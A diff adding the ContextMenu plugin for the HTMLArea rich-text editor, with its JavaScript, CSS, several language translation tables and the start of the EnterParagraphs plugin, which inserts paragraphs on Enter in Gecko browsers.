+ [ i18n["Justify Full"],
+ function() { editor.execCommand("justifyfull"); }, null,
+ config.btnList["justifyfull"][1] ]
+ );
+ break;
+ }
+ }
+
+ if (selection && !link)
+ menu.push(null, [ i18n["Make link"],
+ function() { editor.execCommand("createlink", true); },
+ i18n["Create a link"],
+ config.btnList["createlink"][1] ]);
+
+ for (var i in elmenus)
+ menu.push(elmenus[i]);
+
+ menu.push(null,
+ [ i18n["Remove the"] + " <" + currentTarget.tagName + "> " + i18n["Element"],
+ function() {
+ if (confirm(i18n["Please confirm that you want to remove this element:"] + " " + currentTarget.tagName)) {
+ var el = currentTarget;
+ var p = el.parentNode;
+ p.removeChild(el);
+ if (HTMLArea.is_gecko) {
+ if (p.tagName.toLowerCase() == "td" && !p.hasChildNodes())
+ p.appendChild(editor._doc.createElement("br"));
+ editor.forceRedraw();
+ editor.focusEditor();
+ editor.updateToolbar();
+ if (table) {
+ var save_collapse = table.style.borderCollapse;
+ table.style.borderCollapse = "collapse";
+ table.style.borderCollapse = "separate";
+ table.style.borderCollapse = save_collapse;
+ }
+ }
+ }
+ },
+ i18n["Remove this node from the document"] ]);
+ return menu;
+};
+
+ContextMenu.prototype.popupMenu = function(ev) {
+ var self = this;
+ var i18n = ContextMenu.I18N;
+ if (this.currentMenu)
+ this.currentMenu.parentNode.removeChild(this.currentMenu);
+ function getPos(el) {
+ var r = { x: el.offsetLeft, y: el.offsetTop };
+ if (el.offsetParent) {
+ var tmp = getPos(el.offsetParent);
+ r.x += tmp.x;
+ r.y += tmp.y;
+ }
+ return r;
+ };
+ function documentClick(ev) {
+ ev || (ev = window.event);
+ if (!self.currentMenu) {
+ alert(i18n["How did you get here? (Please report!)"]);
+ return false;
+ }
+ var el = HTMLArea.is_ie ? ev.srcElement : ev.target;
+ for (; el != null && el != self.currentMenu; el = el.parentNode);
+ if (el == null)
+ self.closeMenu();
+ //HTMLArea._stopEvent(ev);
+ //return false;
+ };
+ var keys = [];
+ function keyPress(ev) {
+ ev || (ev = window.event);
+ HTMLArea._stopEvent(ev);
+ if (ev.keyCode == 27) {
+ self.closeMenu();
+ return false;
+ }
+ var key = String.fromCharCode(HTMLArea.is_ie ? ev.keyCode : ev.charCode).toLowerCase();
+ for (var i = keys.length; --i >= 0;) {
+ var k = keys[i];
+ if (k[0].toLowerCase() == key)
+ k[1].__msh.activate();
+ }
+ };
+ self.closeMenu = function() {
+ self.currentMenu.parentNode.removeChild(self.currentMenu);
+ self.currentMenu = null;
+ HTMLArea._removeEvent(document, "mousedown", documentClick);
+ HTMLArea._removeEvent(self.editordoc, "mousedown", documentClick);
+ if (keys.length > 0)
+ HTMLArea._removeEvent(self.editordoc, "keypress", keyPress);
+ if (HTMLArea.is_ie)
+ self.iePopup.hide();
+ };
+ var target = HTMLArea.is_ie ? ev.srcElement : ev.target;
+ var ifpos = getPos(self.editor._iframe);
+ var x = ev.clientX + ifpos.x;
+ var y = ev.clientY + ifpos.y;
+
+ var div;
+ var doc;
+ if (!HTMLArea.is_ie) {
+ doc = document;
+ } else {
+ // IE stinks
+ var popup = this.iePopup = window.createPopup();
+ doc = popup.document;
+ doc.open();
+ doc.write("<html><head><style type='text/css'>@import url(" + _editor_url + "plugins/ContextMenu/menu.css); html, body { padding: 0px; margin: 0px; overflow: hidden; border: 0px; }</style></head><body unselectable='yes'></body></html>");
+ doc.close();
+ }
+ div = doc.createElement("div");
+ if (HTMLArea.is_ie)
+ div.unselectable = "on";
+ div.oncontextmenu = function() { return false; };
+ div.className = "htmlarea-context-menu";
+ if (!HTMLArea.is_ie)
+ div.style.left = div.style.top = "0px";
+ doc.body.appendChild(div);
+
+ var table = doc.createElement("table");
+ div.appendChild(table);
+ table.cellSpacing = 0;
+ table.cellPadding = 0;
+ var parent = doc.createElement("tbody");
+ table.appendChild(parent);
+
+ var options = this.getContextMenu(target);
+ for (var i = 0; i < options.length; ++i) {
+ var option = options[i];
+ var item = doc.createElement("tr");
+ parent.appendChild(item);
+ if (HTMLArea.is_ie)
+ item.unselectable = "on";
+ else item.onmousedown = function(ev) {
+ HTMLArea._stopEvent(ev);
+ return false;
+ };
+ if (!option) {
+ item.className = "separator";
+ var td = doc.createElement("td");
+ td.className = "icon";
+ var IE_IS_A_FUCKING_SHIT = '>';
+ if (HTMLArea.is_ie) {
+ td.unselectable = "on";
+ IE_IS_A_FUCKING_SHIT = " unselectable='on' style='height=1px'> ";
+ }
+ td.innerHTML = "<div" + IE_IS_A_FUCKING_SHIT + "</div>";
+ var td1 = td.cloneNode(true);
+ td1.className = "label";
+ item.appendChild(td);
+ item.appendChild(td1);
+ } else {
+ var label = option[0];
+ item.className = "item";
+ item.__msh = {
+ item: item,
+ label: label,
+ action: option[1],
+ tooltip: option[2] || null,
+ icon: option[3] || null,
+ activate: function() {
+ self.closeMenu();
+ self.editor.focusEditor();
+ this.action();
+ }
+ };
+ label = label.replace(/_([a-zA-Z0-9])/, "<u>$1</u>");
+ if (label != option[0])
+ keys.push([ RegExp.$1, item ]);
+ label = label.replace(/__/, "_");
+ var td1 = doc.createElement("td");
+ if (HTMLArea.is_ie)
+ td1.unselectable = "on";
+ item.appendChild(td1);
+ td1.className = "icon";
+ if (item.__msh.icon)
+ td1.innerHTML = "<img align='middle' src='" + item.__msh.icon + "' />";
+ var td2 = doc.createElement("td");
+ if (HTMLArea.is_ie)
+ td2.unselectable = "on";
+ item.appendChild(td2);
+ td2.className = "label";
+ td2.innerHTML = label;
+ item.onmouseover = function() {
+ this.className += " hover";
+ self.editor._statusBarTree.innerHTML = this.__msh.tooltip || ' ';
+ };
+ item.onmouseout = function() { this.className = "item"; };
+ item.oncontextmenu = function(ev) {
+ this.__msh.activate();
+ if (!HTMLArea.is_ie)
+ HTMLArea._stopEvent(ev);
+ return false;
+ };
+ item.onmouseup = function(ev) {
+ var timeStamp = (new Date()).getTime();
+ if (timeStamp - self.timeStamp > 500)
+ this.__msh.activate();
+ if (!HTMLArea.is_ie)
+ HTMLArea._stopEvent(ev);
+ return false;
+ };
+ //if (typeof option[2] == "string")
+ //item.title = option[2];
+ }
+ }
+
+ if (!HTMLArea.is_ie) {
+ var dx = x + div.offsetWidth - window.innerWidth + 4;
+ var dy = y + div.offsetHeight - window.innerHeight + 4;
+ if (dx > 0) x -= dx;
+ if (dy > 0) y -= dy;
+ div.style.left = x + "px";
+ div.style.top = y + "px";
+ } else {
+ // determine the size (did I mention that IE stinks?)
+ var foobar = document.createElement("div");
+ foobar.className = "htmlarea-context-menu";
+ foobar.innerHTML = div.innerHTML;
+ document.body.appendChild(foobar);
+ var w = foobar.offsetWidth;
+ var h = foobar.offsetHeight;
+ document.body.removeChild(foobar);
+ this.iePopup.show(ev.screenX, ev.screenY, w, h);
+ }
+
+ this.currentMenu = div;
+ this.timeStamp = (new Date()).getTime();
+
+ HTMLArea._addEvent(document, "mousedown", documentClick);
+ HTMLArea._addEvent(this.editordoc, "mousedown", documentClick);
+ if (keys.length > 0)
+ HTMLArea._addEvent(this.editordoc, "keypress", keyPress);
+
+ HTMLArea._stopEvent(ev);
+ return false;
+};
--- /dev/null
+// I18N constants
+
+// LANG: "de", ENCODING: UTF-8 | ISO-8859-1
+
+// translated: <]{MJ}[> i@student.ethz.ch
+
+
+ContextMenu.I18N = {
+ // Items that appear in menu. Please note that an underscore (_)
+ // character in the translation (right column) will cause the following
+ // letter to become underlined and be shortcut for that menu option.
+
+ "Cut" : "Ausschneiden",
+ "Copy" : "Kopieren",
+ "Paste" : "Einfügen",
+ "Image Properties" : "_Bild Einstellungen...",
+ "Modify Link" : "_Link ändern...",
+ "Check Link" : "Link testen...",
+ "Remove Link" : "Link entfernen...",
+ "Cell Properties" : "Z_ellen Einstellungen...",
+ "Row Properties" : "Ze_ilen Einstellungen...",
+ "Insert Row Before" : "Zeile einfügen v_or Position",
+ "Insert Row After" : "Zeile einfügen n_ach Position",
+ "Delete Row" : "Zeile löschen",
+ "Table Properties" : "_Tabellen Einstellungen...",
+ "Insert Column Before" : "Spalte einfügen vo_r Position",
+ "Insert Column After" : "Spalte einfügen na_ch Position",
+ "Delete Column" : "Spalte löschen",
+ "Justify Left" : "Links ausrichten",
+ "Justify Center" : "Zentriert",
+ "Justify Right" : "Rechts ausrichten",
+ "Justify Full" : "Blocksatz",
+ "Make link" : "Lin_k erstellen...",
+ "Remove the" : "",
+ "Element" : "Element entfernen...",
+
+ // Other labels (tooltips and alert/confirm box messages)
+
+ "Please confirm that you want to remove this element:" : "Wollen sie dieses Element wirklich entfernen ?",
+ "Remove this node from the document" : "Dieses Element aus dem Dokument entfernen",
+ "How did you get here? (Please report!)" : "How did you get here? (Please report!)",
+ "Show the image properties dialog" : "Fenster für die Bild-Einstellungen anzeigen",
+ "Modify URL" : "URL ändern",
+ "Current URL is" : "Aktuelle URL ist",
+ "Opens this link in a new window" : "Diesen Link in neuem Fenster öffnen",
+ "Please confirm that you want to unlink this element." : "Wollen sie diesen Link wirklich entfernen ?",
+ "Link points to:" : "Link zeigt auf:",
+ "Unlink the current element" : "Link auf Element entfernen",
+ "Show the Table Cell Properties dialog" : "Zellen-Einstellungen anzeigen",
+ "Show the Table Row Properties dialog" : "Zeilen-Einstellungen anzeigen",
+ "Insert a new row before the current one" : "Zeile einfügen vor der aktuellen Position",
+ "Insert a new row after the current one" : "Zeile einfügen nach der aktuellen Position",
+ "Delete the current row" : "Zeile löschen",
+ "Show the Table Properties dialog" : "Show the Table Properties dialog",
+ "Insert a new column before the current one" : "Spalte einfügen vor der aktuellen Position",
+ "Insert a new column after the current one" : "Spalte einfügen nach der aktuellen Position",
+ "Delete the current column" : "Spalte löschen",
+ "Create a link" : "Link erstellen"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "el", ENCODING: UTF-8 | ISO-8859-7
+// Author: Dimitris Glezos, dimitris@glezos.com
+
+ContextMenu.I18N = {
+ // Items that appear in menu. Please note that an underscore (_)
+ // character in the translation (right column) will cause the following
+ // letter to become underlined and be shortcut for that menu option.
+
+ "Cut" : "Αποκοπή",
+ "Copy" : "Αντιγραφή",
+ "Paste" : "Επικόλληση",
+ "Image Properties" : "Ιδιότητες Εικόνας...",
+ "Modify Link" : "Τροποποίηση συνδέσμου...",
+ "Check Link" : "Έλεγχος συνδέσμων...",
+ "Remove Link" : "Διαγραφή συνδέσμου...",
+ "Cell Properties" : "Ιδιότητες κελιού...",
+ "Row Properties" : "Ιδιότητες γραμμής...",
+ "Insert Row Before" : "Εισαγωγή γραμμής πριν",
+ "Insert Row After" : "Εισαγωγή γραμμής μετά",
+ "Delete Row" : "Διαγραφή γραμμής",
+ "Table Properties" : "Ιδιότητες πίνακα...",
+ "Insert Column Before" : "Εισαγωγή στήλης πριν",
+ "Insert Column After" : "Εισαγωγή στήλης μετά",
+ "Delete Column" : "Διαγραφή στήλης",
+ "Justify Left" : "Στοίχηση Αριστερά",
+ "Justify Center" : "Στοίχηση Κέντρο",
+ "Justify Right" : "Στοίχηση Δεξιά",
+ "Justify Full" : "Πλήρης Στοίχηση",
+ "Make link" : "Δημιουργία συνδέσμου...",
+ "Remove the" : "Αφαίρεση",
+ "Element" : "στοιχείου...",
+
+ // Other labels (tooltips and alert/confirm box messages)
+
+ "Please confirm that you want to remove this element:" : "Είστε βέβαιος πως θέλετε να αφαιρέσετε το στοιχείο ",
+ "Remove this node from the document" : "Αφαίρεση αυτού του κόμβου από το έγγραφο",
+ "How did you get here? (Please report!)" : "Πώς ήρθατε μέχρι εδώ; (Παρακαλούμε αναφέρετε το!)",
+ "Show the image properties dialog" : "Εμφάνιση διαλόγου με τις Ιδιότητες εικόνας",
+ "Modify URL" : "Τροποποίηση URL",
+ "Current URL is" : "Το τρέχων URL είναι",
+ "Opens this link in a new window" : "Ανοίγει αυτό τον σύνδεσμο σε ένα νέο παράθυρο",
+ "Please confirm that you want to unlink this element." : "Είστε βέβαιος πως θέλετε να αφαιρέσετε τον σύνδεσμο από αυτό το στοιχείο:",
+ "Link points to:" : "Ο σύνδεμος οδηγεί εδώ:",
+ "Unlink the current element" : "Αφαίρεση συνδέσμου από το παρών στοιχείο",
+ "Show the Table Cell Properties dialog" : "Εμφάνιση διαλόγου με τις Ιδιότητες κελιού Πίνακα",
+ "Show the Table Row Properties dialog" : "Εμφάνιση διαλόγου με τις Ιδιότητες γραμμής Πίνακα",
+ "Insert a new row before the current one" : "Εισαγωγή μιας νέας γραμμής πριν την επιλεγμένη",
+ "Insert a new row after the current one" : "Εισαγωγή μιας νέας γραμμής μετά την επιλεγμένη",
+ "Delete the current row" : "Διαγραφή επιλεγμένης γραμμής",
+ "Show the Table Properties dialog" : "Εμφάνιση διαλόγου με τις Ιδιότητες Πίνακα",
+ "Insert a new column before the current one" : "Εισαγωγή νέας στήλης πριν την επιλεγμένη",
+ "Insert a new column after the current one" : "Εισαγωγή νέας στήλης μετά την επιλεγμένη",
+ "Delete the current column" : "Διαγραφή επιλεγμένης στήλης",
+ "Create a link" : "Δημιουργία συνδέσμου"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+ContextMenu.I18N = {
+ // Items that appear in menu. Please note that an underscore (_)
+ // character in the translation (right column) will cause the following
+ // letter to become underlined and be shortcut for that menu option.
+
+ "Cut" : "Cut",
+ "Copy" : "Copy",
+ "Paste" : "Paste",
+ "Image Properties" : "_Image Properties...",
+ "Modify Link" : "_Modify Link...",
+ "Check Link" : "Chec_k Link...",
+ "Remove Link" : "_Remove Link...",
+ "Cell Properties" : "C_ell Properties...",
+ "Row Properties" : "Ro_w Properties...",
+ "Insert Row Before" : "I_nsert Row Before",
+ "Insert Row After" : "In_sert Row After",
+ "Delete Row" : "_Delete Row",
+ "Table Properties" : "_Table Properties...",
+ "Insert Column Before" : "Insert _Column Before",
+ "Insert Column After" : "Insert C_olumn After",
+ "Delete Column" : "De_lete Column",
+ "Justify Left" : "Justify Left",
+ "Justify Center" : "Justify Center",
+ "Justify Right" : "Justify Right",
+ "Justify Full" : "Justify Full",
+ "Make link" : "Make lin_k...",
+ "Remove the" : "Remove the",
+ "Element" : "Element...",
+
+ // Other labels (tooltips and alert/confirm box messages)
+
+ "Please confirm that you want to remove this element:" : "Please confirm that you want to remove this element:",
+ "Remove this node from the document" : "Remove this node from the document",
+ "How did you get here? (Please report!)" : "How did you get here? (Please report!)",
+ "Show the image properties dialog" : "Show the image properties dialog",
+ "Modify URL" : "Modify URL",
+ "Current URL is" : "Current URL is",
+ "Opens this link in a new window" : "Opens this link in a new window",
+ "Please confirm that you want to unlink this element." : "Please confirm that you want to unlink this element.",
+ "Link points to:" : "Link points to:",
+ "Unlink the current element" : "Unlink the current element",
+ "Show the Table Cell Properties dialog" : "Show the Table Cell Properties dialog",
+ "Show the Table Row Properties dialog" : "Show the Table Row Properties dialog",
+ "Insert a new row before the current one" : "Insert a new row before the current one",
+ "Insert a new row after the current one" : "Insert a new row after the current one",
+ "Delete the current row" : "Delete the current row",
+ "Show the Table Properties dialog" : "Show the Table Properties dialog",
+ "Insert a new column before the current one" : "Insert a new column before the current one",
+ "Insert a new column after the current one" : "Insert a new column after the current one",
+ "Delete the current column" : "Delete the current column",
+ "Create a link" : "Create a link"
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "he", ENCODING: UTF-8\r\r
+// Author: Liron Newman, http://www.eesh.net, <plastish at ultinet dot org>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+ContextMenu.I18N = {\r\r
+ // Items that appear in menu. Please note that an underscore (_)\r\r
+ // character in the translation (right column) will cause the following\r\r
+ // letter to become underlined and be shortcut for that menu option.\r\r
+\r\r
+ "Cut" : "גזור",\r\r
+ "Copy" : "העתק",\r\r
+ "Paste" : "הדבק",\r\r
+ "Image Properties" : "_מאפייני תמונה...",\r\r
+ "Modify Link" : "_שנה קישור...",\r\r
+ "Check Link" : "בדו_ק קישור...",\r\r
+ "Remove Link" : "_הסר קישור...",\r\r
+ "Cell Properties" : "מאפייני ת_א...",\r\r
+ "Row Properties" : "מאפייני _טור...",\r\r
+ "Insert Row Before" : "ה_כנס שורה לפני",\r\r
+ "Insert Row After" : "הכנ_ס שורה אחרי",\r\r
+ "Delete Row" : "_מחק שורה",\r\r
+ "Table Properties" : "מאפייני ט_בלה...",\r\r
+ "Insert Column Before" : "הכנס _טור לפני",\r\r
+ "Insert Column After" : "הכנס ט_ור אחרי",\r\r
+ "Delete Column" : "מח_ק טור",\r\r
+ "Justify Left" : "ישור לשמאל",\r\r
+ "Justify Center" : "ישור למרכז",\r\r
+ "Justify Right" : "ישור לימין",\r\r
+ "Justify Full" : "ישור לשורה מלאה",\r\r
+ "Make link" : "צור קי_שור...",\r\r
+ "Remove the" : "הסר את אלמנט ה-",\r\r
+ "Element" : "...",\r\r
+\r\r
+ // Other labels (tooltips and alert/confirm box messages)\r\r
+\r\r
+ "Please confirm that you want to remove this element:" : "אנא אשר שברצונך להסיר את האלמנט הזה:",\r\r
+ "Remove this node from the document" : "הסרה של node זה מהמסמך",\r\r
+ "How did you get here? (Please report!)" : "איך הגעת הנה? (אנא דווח!)",\r\r
+ "Show the image properties dialog" : "מציג את חלון הדו-שיח של מאפייני תמונה",\r\r
+ "Modify URL" : "שינוי URL",\r\r
+ "Current URL is" : "URL נוכחי הוא",\r\r
+ "Opens this link in a new window" : "פתיחת קישור זה בחלון חדש",\r\r
+ "Please confirm that you want to unlink this element." : "אנא אשר שאתה רוצה לנתק את אלמנט זה.",\r\r
+ "Link points to:" : "הקישור מצביע אל:",\r\r
+ "Unlink the current element" : "ניתוק את האלמנט הנוכחי",\r\r
+ "Show the Table Cell Properties dialog" : "מציג את חלון הדו-שיח של מאפייני תא בטבלה",\r\r
+ "Show the Table Row Properties dialog" : "מציג את חלון הדו-שיח של מאפייני שורה בטבלה",\r\r
+ "Insert a new row before the current one" : "הוספת שורה חדשה לפני הנוכחית",\r\r
+ "Insert a new row after the current one" : "הוספת שורה חדשה אחרי הנוכחית",\r\r
+ "Delete the current row" : "מחיקת את השורה הנוכחית",\r\r
+ "Show the Table Properties dialog" : "מציג את חלון הדו-שיח של מאפייני טבלה",\r\r
+ "Insert a new column before the current one" : "הוספת טור חדש לפני הנוכחי",\r\r
+ "Insert a new column after the current one" : "הוספת טור חדש אחרי הנוכחי",\r\r
+ "Delete the current column" : "מחיקת את הטור הנוכחי",\r\r
+ "Create a link" : "יצירת קישור"\r\r
+};\r\r
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "nl", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Michel Weegeerink (info@mmc-shop.nl), http://mmc-shop.nl\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+ContextMenu.I18N = {\r\r
+ // Items that appear in menu. Please note that an underscore (_)\r\r
+ // character in the translation (right column) will cause the following\r\r
+ // letter to become underlined and be shortcut for that menu option.\r\r
+\r\r
+ "Cut" : "Knippen",\r\r
+ "Copy" : "Kopiëren",\r\r
+ "Paste" : "Plakken",\r\r
+ "Image Properties" : "Eigenschappen afbeelding...",\r\r
+ "Modify Link" : "Hyperlin_k aanpassen...",\r\r
+ "Check Link" : "Controleer hyperlin_k...",\r\r
+ "Remove Link" : "Ve_rwijder hyperlink...",\r\r
+ "Cell Properties" : "C_eleigenschappen...",\r\r
+ "Row Properties" : "Rijeigenscha_ppen...",\r\r
+ "Insert Row Before" : "Rij invoegen boven",\r\r
+ "Insert Row After" : "Rij invoegen onder",\r\r
+ "Delete Row" : "Rij _verwijderen",\r\r
+ "Table Properties" : "_Tabeleigenschappen...",\r\r
+ "Insert Column Before" : "Kolom invoegen voor",\r\r
+ "Insert Column After" : "Kolom invoegen na",\r\r
+ "Delete Column" : "Kolom verwijderen",\r\r
+ "Justify Left" : "Links uitlijnen",\r\r
+ "Justify Center" : "Centreren",\r\r
+ "Justify Right" : "Rechts uitlijnen",\r\r
+ "Justify Full" : "Uitvullen",\r\r
+ "Make link" : "Maak hyperlin_k...",\r\r
+ "Remove the" : "Verwijder het",\r\r
+ "Element" : "element...",\r\r
+\r\r
+ // Other labels (tooltips and alert/confirm box messages)\r\r
+\r\r
+ "Please confirm that you want to remove this element:" : "Is het werkelijk de bedoeling dit element te verwijderen:",\r\r
+ "Remove this node from the document" : "Verwijder dit punt van het document",\r\r
+ "How did you get here? (Please report!)" : "Hoe kwam je hier? (A.U.B. doorgeven!)",\r\r
+ "Show the image properties dialog" : "Laat het afbeeldingseigenschappen dialog zien",\r\r
+ "Modify URL" : "Aanpassen URL",\r\r
+ "Current URL is" : "Huidig URL is",\r\r
+ "Opens this link in a new window" : "Opend deze hyperlink in een nieuw venster",\r\r
+ "Please confirm that you want to unlink this element." : "Is het werkelijk de bedoeling dit element te unlinken.",\r\r
+ "Link points to:" : "Hyperlink verwijst naar:",\r\r
+ "Unlink the current element" : "Unlink het huidige element",\r\r
+ "Show the Table Cell Properties dialog" : "Laat de tabel celeigenschappen dialog zien",\r\r
+ "Show the Table Row Properties dialog" : "Laat de tabel rijeigenschappen dialog zien",\r\r
+ "Insert a new row before the current one" : "Voeg een nieuwe rij in boven de huidige",\r\r
+ "Insert a new row after the current one" : "Voeg een nieuwe rij in onder de huidige",\r\r
+ "Delete the current row" : "Verwijder de huidige rij",\r\r
+ "Show the Table Properties dialog" : "Laat de tabel eigenschappen dialog zien",\r\r
+ "Insert a new column before the current one" : "Voeg een nieuwe kolom in voor de huidige",\r\r
+ "Insert a new column after the current one" : "Voeg een nieuwe kolom in na de huidige",\r\r
+ "Delete the current column" : "Verwijder de huidige kolom",\r\r
+ "Create a link" : "Maak een hyperlink"\r\r
+};\r\r
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+
+ <dir name="lang" />
+</files>
+
--- /dev/null
+/* styles for the ContextMenu /HTMLArea */
+/* The ContextMenu plugin is (c) dynarch.com 2003. */
+/* Distributed under the same terms as HTMLArea itself */
+
+div.htmlarea-context-menu {
+ position: absolute;
+ border: 1px solid #aca899;
+ padding: 2px;
+ background-color: #fff;
+ cursor: default;
+ z-index: 1000;
+}
+
+div.htmlarea-context-menu table {
+ font: 11px tahoma,verdana,sans-serif;
+ border-collapse: collapse;
+}
+
+div.htmlarea-context-menu tr.item td.icon img {
+ width: 18px;
+ height: 18px;
+}
+
+div.htmlarea-context-menu tr.item td.icon {
+ padding: 0px 3px;
+ height: 18px;
+ background-color: #cdf;
+}
+
+div.htmlarea-context-menu tr.item td.label {
+ padding: 1px 10px 1px 3px;
+}
+
+div.htmlarea-context-menu tr.separator td {
+ padding: 2px 0px;
+}
+
+div.htmlarea-context-menu tr.separator td div {
+ border-top: 1px solid #aca899;
+ overflow: hidden;
+ position: relative;
+}
+
+div.htmlarea-context-menu tr.separator td.icon {
+ background-color: #cdf;
+}
+
+div.htmlarea-context-menu tr.separator td.icon div {
+/* margin-left: 3px; */
+ border-color: #fff;
+}
+
+div.htmlarea-context-menu tr.separator td.label div {
+ margin-right: 3px;
+}
+
+div.htmlarea-context-menu tr.item.hover {
+ background-color: #316ac5;
+ color: #fff;
+}
+
+div.htmlarea-context-menu tr.item.hover td.icon {
+ background-color: #619af5;
+}
--- /dev/null
+// Modification to htmlArea to insert Paragraphs instead of
+// linebreaks, under Gecko engines, circa January 2004
+// By Adam Wright, for The University of Western Australia
+//
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+
+function EnterParagraphs(editor, params) {
+ this.editor = editor;
+ // activate only if we're talking to Gecko
+ if (HTMLArea.is_gecko)
+ this.onKeyPress = this.__onKeyPress;
+};
+
+EnterParagraphs._pluginInfo = {
+ name : "EnterParagraphs",
+ version : "1.0",
+ developer : "Adam Wright",
+ developer_url : "http://blog.hipikat.org/",
+ sponsor : "The University of Western Australia",
+ sponsor_url : "http://www.uwa.edu.au/",
+ license : "htmlArea"
+};
+
+// An array of elements who, in html4, by default, have an inline display and can have children
+// we use RegExp here since it should be a bit faster, also cleaner to check
+EnterParagraphs.prototype._html4_inlines_re = /^(a|abbr|acronym|b|bdo|big|cite|code|dfn|em|font|i|kbd|label|q|s|samp|select|small|span|strike|strong|sub|sup|textarea|tt|u|var)$/i;
+
+// Finds the first parent element of a given node whose display is probably not inline
+EnterParagraphs.prototype.parentBlock = function(node) {
+ while (node.parentNode && (node.nodeType != 1 || this._html4_inlines_re.test(node.tagName)))
+ node = node.parentNode;
+ return node;
+};
+
+// Internal function for recursively itterating over a all nodes in a fragment
+// If a callback function returns a non-null value, that is returned and the crawl is therefore broken
+EnterParagraphs.prototype.walkNodeChildren = function(me, callback) {
+ if (me.firstChild) {
+ var myChild = me.firstChild;
+ var retVal;
+ while (myChild) {
+ if ((retVal = callback(this, myChild)) != null)
+ return retVal;
+ if ((retVal = this.walkNodeChildren(myChild, callback)) != null)
+ return retVal;
+ myChild = myChild.nextSibling;
+ }
+ }
+};
+
+// Callback function to be performed on each node in the hierarchy
+// Sets flag to true if we find actual text or an element that's not usually displayed inline
+EnterParagraphs.prototype._isFilling = function(self, node) {
+ if (node.nodeType == 1 && !self._html4_inlines_re.test(node.nodeName))
+ return true;
+ else if (node.nodeType == 3 && node.nodeValue != '')
+ return true;
+ return null;
+ //alert(node.nodeName);
+};
+
+// Inserts a node deeply on the left of a hierarchy of nodes
+EnterParagraphs.prototype.insertDeepLeftText = function(target, toInsert) {
+ var falling = target;
+ while (falling.firstChild && falling.firstChild.nodeType == 1)
+ falling = falling.firstChild;
+ //var refNode = falling.firstChild ? falling.firstChild : null;
+ //falling.insertBefore(toInsert, refNode);
+ falling.innerHTML = toInsert;
+};
+
+// Kind of like a macros, for a frequent query...
+EnterParagraphs.prototype.isElem = function(node, type) {
+ return node.nodeName.toLowerCase() == type.toLowerCase();
+};
+
+// The onKeyPress even that does all the work - nicely breaks the line into paragraphs
+EnterParagraphs.prototype.__onKeyPress = function(ev) {
+
+ if (ev.keyCode == 13 && !ev.shiftKey && this.editor._iframe.contentWindow.getSelection) {
+
+ var editor = this.editor;
+
+ // Get the selection and solid references to what we're dealing with chopping
+ var sel = editor._iframe.contentWindow.getSelection();
+
+ // Set the start and end points such that they're going /forward/ through the document
+ var rngLeft = editor._doc.createRange(); var rngRight = editor._doc.createRange();
+ rngLeft.setStart(sel.anchorNode, sel.anchorOffset); rngRight.setStart(sel.focusNode, sel.focusOffset);
+ rngLeft.collapse(true); rngRight.collapse(true);
+
+ var direct = rngLeft.compareBoundaryPoints(rngLeft.START_TO_END, rngRight) < 0;
+
+ var startNode = direct ? sel.anchorNode : sel.focusNode;
+ var startOffset = direct ? sel.anchorOffset : sel.focusOffset;
+ var endNode = direct ? sel.focusNode : sel.anchorNode;
+ var endOffset = direct ? sel.focusOffset : sel.anchorOffset;
+
+ // Find the parent blocks of nodes at either end, and their attributes if they're paragraphs
+ var startBlock = this.parentBlock(startNode); var endBlock = this.parentBlock(endNode);
+ var attrsLeft = new Array(); var attrsRight = new Array();
+
+ // If a list, let the browser take over, if we're in a paragraph, gather it's attributes
+ if (this.isElem(startBlock, 'li') || this.isElem(endBlock, 'li'))
+ return;
+
+ if (this.isElem(startBlock, 'p')) {
+ for (var i = 0; i < startBlock.attributes.length; i++) {
+ attrsLeft[startBlock.attributes[i].nodeName] = startBlock.attributes[i].nodeValue;
+ }
+ }
+ if (this.isElem(endBlock, 'p')) {
+ for (var i = 0; i < endBlock.attributes.length; i++) {
+ // If we start and end within one paragraph, don't duplicate the 'id'
+ if (endBlock != startBlock || endBlock.attributes[i].nodeName.toLowerCase() != 'id')
+ attrsRight[endBlock.attributes[i].nodeName] = endBlock.attributes[i].nodeValue;
+ }
+ }
+
+ // Look for where to start and end our chopping - within surrounding paragraphs
+ // if they exist, or at the edges of the containing block, otherwise
+ var startChop = startNode; var endChop = endNode;
+
+ while ((startChop.previousSibling && !this.isElem(startChop.previousSibling, 'p'))
+ || (startChop.parentNode && startChop.parentNode != startBlock && startChop.parentNode.nodeType != 9))
+ startChop = startChop.previousSibling ? startChop.previousSibling : startChop.parentNode;
+
+ while ((endChop.nextSibling && !this.isElem(endChop.nextSibling, 'p'))
+ || (endChop.parentNode && endChop.parentNode != endBlock && endChop.parentNode.nodeType != 9))
+ endChop = endChop.nextSibling ? endChop.nextSibling : endChop.parentNode;
+
+ // Set up new paragraphs
+ var pLeft = editor._doc.createElement('p'); var pRight = editor._doc.createElement('p');
+
+ for (var attrName in attrsLeft) {
+ var thisAttr = editor._doc.createAttribute(attrName);
+ thisAttr.value = attrsLeft[attrName];
+ pLeft.setAttributeNode(thisAttr);
+ }
+ for (var attrName in attrsRight) {
+ var thisAttr = editor._doc.createAttribute(attrName);
+ thisAttr.value = attrsRight[attrName];
+ pRight.setAttributeNode(thisAttr);
